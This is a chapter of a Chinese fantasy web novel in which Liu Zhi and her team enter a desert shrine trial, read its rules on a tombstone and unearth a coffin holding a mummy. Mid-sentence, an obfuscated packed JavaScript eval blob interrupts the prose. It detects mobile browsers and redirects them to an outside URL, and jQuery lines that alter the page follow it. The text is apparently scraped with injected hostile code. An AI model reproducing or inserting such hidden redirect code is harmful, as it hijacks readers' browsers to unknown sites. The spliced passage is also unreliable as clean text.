破秀谢吟九

29. 酒骨龛(一)

晨曦初露,透过窗棂洒在柳鸷的眼皮上,柳鸷从梦中惊醒,今天好像是开龛的日子。


她瞥向落在西北方的光影。


天!卯时了。


柳鸷赶忙从被褥里跳下来,一通收拾赶去城门。


城门口乌泱泱的、挤满了选手,“柳鸷,这儿。”


柳鸷远远的就看见人群中,一身宝蓝色男士长袍的陈离翡,头戴鎏金珠玉抹额,颈间佩同款璎珞圈,像一位集万千宠爱的娇俏公子哥。


柳鸷刚走近,陈离翡就调侃,“懒猪!睡过头了吧?”


柳鸷懒得理他,同一旁的柏封棠和秦为墨打招呼,而后打着哈欠,在人群里扫视。


“没睡好?”柏封棠问。


柳鸷点点头。


这两天,她一直想找黑发女人问问,结果找了两天都没找到人。


这人就像死了一样,消失得无影无踪。


没一会儿,庭长、三位舍长和萧杨出现在城门口宣布,鉴于当前统计的选手存活率,这一次开龛新增一条规定。


为保存外舍选手的存活率,禁止外舍选手进入上阶龛。


“啊?”陈离翡焦急道:“完了完了,那墨墨不能跟我一起了。”


在庭长的示意下,萧杨展手,放出金榜。


榜上显示出三十个神龛,供选手们选择,其中上阶龛有六个,中阶龛有二十个,下阶龛有四个。


每一个神龛后面都指明龛域方位以及龛品,有的是重剑、古筝、蹴鞠、酥糖、铜镯等等。


选手们望着金榜,各抒己见,讨论纷纷。


经历过多个神龛的选手们,都有了各自固定的伙伴,只有一些选手的伙伴在之前的神龛里牺牲了,存活下来的选手不得不重新寻找、加入新的团队。


其中,以花茶儿为首的团队是最受欢迎的。


陈离翡突然凑近柳鸷问:“你想选哪一个龛?”


柳鸷看着榜单,想起自己的系统,下阶龛可能比较简单,不一定能激起观众满意值,而上阶龛,柳鸷还是外舍选不了。


“就选中九龛——血云龛吧。”


“那我要跟你一起。”陈离翡说。


曲皓尧的兄弟在寒衣龛里都牺牲了,他凑过来,“我也跟你们一起吧。我有法力,可以保护你们,柳鸷比较聪明,可以出脑子,陈离翡就......负责缓解气氛吧。”


陈离翡歪头想了想,“也行,三个臭皮匠顶过一个诸葛亮。”


三个人就这么愉快的拍板决定了,完全没有理会站在他们前面的两位上舍选手。


萧杨宣布由上舍的选手先开始选龛。


柏封棠直接选了血云龛。


所有人都很讶异,因为柏封棠从未参加过上阶龛以下的龛,连庭长都看向了柏封棠。萧杨问:“你怎么选中阶龛?”


“我的脑子,为我做出的选择。”


秦为墨也选择了同一个龛,遭到萧杨反对。


“也没有规定,上舍的不可以选中阶龛啊。”秦为墨说。


“这是神龛,不是玩过家家。你们俩不要大材小用。”


选手们疑惑:“这个神龛是有什么金山银山吗?他们怎么都选这个?”


......


庭长于轮椅之中,威严不减,他微抬了下手,全场安静下来。


庭长如炬的目光看穿了柏封棠的心思,温厚又有气势,“你和为墨,这次一起去上六龛。想带谁,只要人家愿意就行。”


上六龛的危险系度极高,随时都有可能牺牲。


柏封棠勾着头,看向柳鸷,淡然道:“你想去哪里?”


柳鸷望向金榜上唯一的上六龛,酒骨龛,龛品为钗笔。


“去上阶龛吧。”


一刻钟后,柳鸷、柏封棠、秦为墨、陈离翡、谷栖夏、曲浩尧等六个老伙伴,与新加入的三女两男,白从欢、冷荻、金千菲,柯翰、罗圣博,一共十一人组成新的队伍。


其中。


上舍选手:柏封棠(甲等)、秦为墨(乙等)、冷荻(近乙等)、白从欢(丙等)。


内舍选手:曲浩尧(甲等)、柯翰(乙等)、罗圣博(乙等)、金千菲(丙等)、谷栖夏(丙等)。


外舍选手:陈离翡(甲等)、柳鸷(乙等)。


一群人,一同往城门走。


柳鸷的肩膀突然被拍了下,回头对上嘴角弯弯,露着可爱小梨涡的脸庞。


是白从欢。


她一身鹅黄襦裙,璀璨的杏眼如冬日的暖阳,洋溢着快乐,豁达的笑着:“柳鸷,你好呀!我是小白,我可以叫你小鸷吗?


“当然。”


“小鸷,我以前怎么没见过你呀?”


柳鸷还未开口,就听见白从欢自言自语道:“可能是阙庭的人太多了,没关系,我们现在认识啦。”


“对了,给你介绍冷姐姐和千菲。”金千菲就站在白从欢身边,她长得小家碧玉的,温婉的打着招呼。


而冷荻和一位俊俏的公子走在最后头,离得稍远。


柳鸷扭头望,冷荻长得很有冲击性。


一身藤紫轻纱勾勒着火辣的身段,隐约可见她凝脂似的锁骨在纱间摇曳生姿。金色的腰链如一条响尾蛇般,匍匐在她的腰上伺机而动,魅惑而性感。


但她下巴尖锐、瘦削,与冰冷的深瞳形成一种英挺的帅气,不知道那公子在她身边说了什么,她藐视的神色,宛如一条高贵又冰冷的女王蛇。


与柳鸷撞上眼,唇绛微抿,淡淡的点头示意。


白从欢悄声说:“那是柯翰,冷姐姐的小郎君。”


姐弟恋?


有意思。


“我也想像冷姐姐那样漂亮。”


柳鸷笑了,“你们都很漂亮。”


“假象假象!美人皮下蛇蝎心,三条美人蛇聚集了,可怕可怕!”旁边传来陈离翡的喃喃自语。


“你这粑耳朵叨叨谁呢?”白从欢圆瞪着美丽的杏眼,泼辣的晃了晃手腕上的金缠钏,“小心本姑奶奶抽你哦!”


柳鸷还在想,这粑耳朵???


陈离翡闻声,立即跳离一尺远,“有话好说,你别过来。”


柳鸷明白过来,开怀大笑间,无意瞥见了白从欢斜挎背着的牛皮包包上,标志是两条相交的弧线。


咦?


这不是香奶奶的Logo吗?


难道这个姑娘也是穿越来的?


“小白,你这个包包好特别呀,真好看。”柳鸷夸赞着。


白从欢大方的将包包转至身前,笑嘻嘻的,“我哥送我的,看,里头装了可多宝贝了。”


前头有人喊了声:“姑娘们,开龛门了,快跟上!”


“你哥哥对你真好。”柳鸷想着,如果她的哥哥也在就好了。


她寻思着,得另找个机会试探下白从欢。


一群人有说有笑地走上桥,柏封棠以法力在桥头画出一个金色的门,龙飞凤舞的写上西方龛域——酒骨龛。


砰的一声,通往神龛的门,开了。


“柳鸷,过来,到我这里来。”柏封棠领头,带着一行人,穿过波纹浮动的龛门,入目的是一望无垠、铺满金黄的荒芜沙漠。


“靠,烫烫烫!这鬼地方也太烫了吧!”陈离翡踮起脚尖,每踩一步沙砾,都像赤足踩在烧红的铁屑上,烫脚。


“哎呀,要把我晒成黑炭了。”白从欢拉起披帛,把整个头和脖颈都包住了。


烈日当空,


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246228|166085||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


沙砾反射着阳光,戈壁滩在寂静中灼热,如画卷般。


选手们呼吸出的白雾,在旱热的空气,立即蒸腾挥发。半晌,皮囊上都冒出了涔涔的汗液,滚落在热浪中。


不远处,飞沙走砾里,静静的立着一个石墓碑。


柳鸷单手遮着眼,“那好像有字,过去看看。”


走近,才发现碑上镌刻着:展绪之墓。


柏封棠弹指,墓碑上的字闪放黑光投在沙地上,黄沙骤然跃起,一粒粒细小的沙砾排成一幅巨大的字画,写着。


酒骨龛规则。


第一条:


第一点,沙绪酒庄将在第七日举办酒骨龛,届时请选手展示龛品;忤逆者,立即处决。


第二点,需使用沙绪酒庄种植的葡萄酿造出龛品;忤逆者,立即处决。


第三点,无绪者不得进入沙绪酒庄;忤逆者,立即处决。


第二条:


参龛过程,不可产生自杀念头;忤逆者,立即处决。


第三条:


本龛龛主已死,请在一个时辰内唤醒龛主;忤逆者,立即处决。


白从欢凑近瞧了瞧,“我没看错吧,这次规则竟然就三条?而且我们不就是来杀龛主的吗,它死了省得我们费力气了,竟然还要唤醒它?”


秦为墨说:“规则说要唤醒它,不唤醒它,司寇就来杀你给它陪葬了。”


曲皓尧狐疑:“还让我们不能自杀?也是神奇了!”


金千菲茫然了,“这次的龛品不是钗笔吗?怎么变成酒,我们要酿酒吗?”


罗圣博不解,“这鬼地方哪来的葡萄酿?”


谷栖夏说:“我觉得我们还是以阙庭提供的龛品为准。”


......


选手们,你一言我一语的争论着时,陈离翡突然发问:“你们有没有闻到了一股奇怪的味道,像是什么腐烂的味道?”


“是松香。”柳鸷一进来就闻到了,很淡的味道。


白从欢嗅了嗅,“你们这么一说,我好像也闻到了。粑耳朵,你这狗鼻子真灵啊!”


“当然。我可是汪中的猎犬。”陈离翡自豪夸耀,不过:“你怎么知道我属狗的?”


白从欢:“......”


柳鸷没理会闹腾的俩人,在一旁盯着墓碑,展绪会是龛主的名字吗?


那这墓碑之下......


“哎,这要求一个时辰唤醒龛主,大家伙们要不要把这墓碑掀了,瞧瞧下头有啥子?”白从欢问得随意,却和柳鸷想到一块去了。


“无锄无揪,难道要徒手刨?”


柳鸷骤然看向身旁的柏封棠,柏封棠似有感应,斜垂下眼,用只有两个能听见的气音问:“怎么?有求于我?”


柏封棠的唇角,噙着一丝狡黠的笑意。


柳鸷狠狠瞪了他一眼,眼珠一转,朝秦为墨喊了声:“秦哥,这里沙土稀松,你的法力能搞得定吗?”


秦哥?


柏封棠扬起的嘴角瞬间耷拉,漫不经心的睨视着秦为墨。


秦为墨感觉闷热的空气里,拂过阵阵凉意:“......我、搞不。”


“墨墨肯定可以啊!”陈离翡推了一把秦为墨,“快挖!这搞不定算个鸟。”


众选手退开,秦为墨被迫上岗。


墓碑无根,比挖树简单,秦为墨两下就把墓碑挖起来了,四周的流沙猛地往沙洞下涌。


几个选手手忙脚乱、连刀带剑的狂刨,才刨开半片流沙,看见了一口古木棺材。


几人合力打开,一阵浓郁的香味闯进鼻息。


“卧槽!开了大粽子!”


棺内,静静地躺着一个以古老的、土棕色亚麻布条裹缠的木乃伊干尸。